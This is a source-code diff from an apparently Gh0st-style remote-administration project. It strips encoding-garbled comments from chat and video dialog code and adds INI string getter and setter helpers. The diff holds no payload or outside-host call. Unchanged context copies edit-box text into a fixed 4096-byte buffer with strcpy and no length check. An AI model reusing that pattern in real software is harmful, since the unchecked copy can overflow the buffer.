@@ -54,7 +54,7 @@ BOOL CTalkDlg::OnInitDialog()
|
|||||||
|
|
||||||
void CTalkDlg::OnBnClickedButtonTalk()
|
void CTalkDlg::OnBnClickedButtonTalk()
|
||||||
{
|
{
|
||||||
int iLength = m_EditTalk.GetWindowTextLength(); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
int iLength = m_EditTalk.GetWindowTextLength();
|
||||||
|
|
||||||
if (!iLength)
|
if (!iLength)
|
||||||
{
|
{
|
||||||
@@ -62,14 +62,14 @@ void CTalkDlg::OnBnClickedButtonTalk()
|
|||||||
}
|
}
|
||||||
|
|
||||||
CString strData;
|
CString strData;
|
||||||
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_EditTalk.GetWindowText(strData);
|
||||||
|
|
||||||
char szBuffer[4096] = {0};
|
char szBuffer[4096] = {0};
|
||||||
strcpy(szBuffer,strData.GetBuffer(0));
|
strcpy(szBuffer,strData.GetBuffer(0));
|
||||||
|
|
||||||
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_EditTalk.SetWindowText(NULL);
|
||||||
|
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
|
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -116,7 +116,7 @@ CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont
|
|||||||
m_ContextObject = ContextObject;
|
m_ContextObject = ContextObject;
|
||||||
m_iocpServer = IOCPServer;
|
m_iocpServer = IOCPServer;
|
||||||
m_BitmapInfor_Full = NULL;
|
m_BitmapInfor_Full = NULL;
|
||||||
m_pVideoCodec = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> <20>ҿ<EFBFBD>
|
m_pVideoCodec = NULL;
|
||||||
sockaddr_in ClientAddress;
|
sockaddr_in ClientAddress;
|
||||||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||||||
int iClientAddressLength = sizeof(ClientAddress);
|
int iClientAddressLength = sizeof(ClientAddress);
|
||||||
|
|||||||
@@ -31,6 +31,20 @@ BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data)
|
|||||||
return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath);
|
return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
CString iniFile::GetStr(CString MainKey, CString SubKey, CString def)
|
||||||
|
{
|
||||||
|
char buf[_MAX_PATH];
|
||||||
|
::GetPrivateProfileString(MainKey, SubKey, def, buf, sizeof(buf), m_IniFilePath);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL iniFile::SetStr(CString MainKey, CString SubKey, CString Data)
|
||||||
|
{
|
||||||
|
return ::WritePrivateProfileString(MainKey, SubKey, Data, m_IniFilePath);
|
||||||
|
}
|
||||||
|
|
||||||
iniFile::~iniFile(void)
|
iniFile::~iniFile(void)
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ public:
|
|||||||
BOOL ContructIniFile();
|
BOOL ContructIniFile();
|
||||||
int GetInt(CString MainKey,CString SubKey);
|
int GetInt(CString MainKey,CString SubKey);
|
||||||
BOOL SetInt(CString MainKey,CString SubKey,int Data);
|
BOOL SetInt(CString MainKey,CString SubKey,int Data);
|
||||||
|
CString GetStr(CString MainKey,CString SubKey, CString def);
|
||||||
|
BOOL SetStr(CString MainKey,CString SubKey,CString Data);
|
||||||
CString m_IniFilePath;
|
CString m_IniFilePath;
|
||||||
iniFile(void);
|
iniFile(void);
|
||||||
~iniFile(void);
|
~iniFile(void);
|
||||||
|
|||||||
Reference in New Issue
Block a user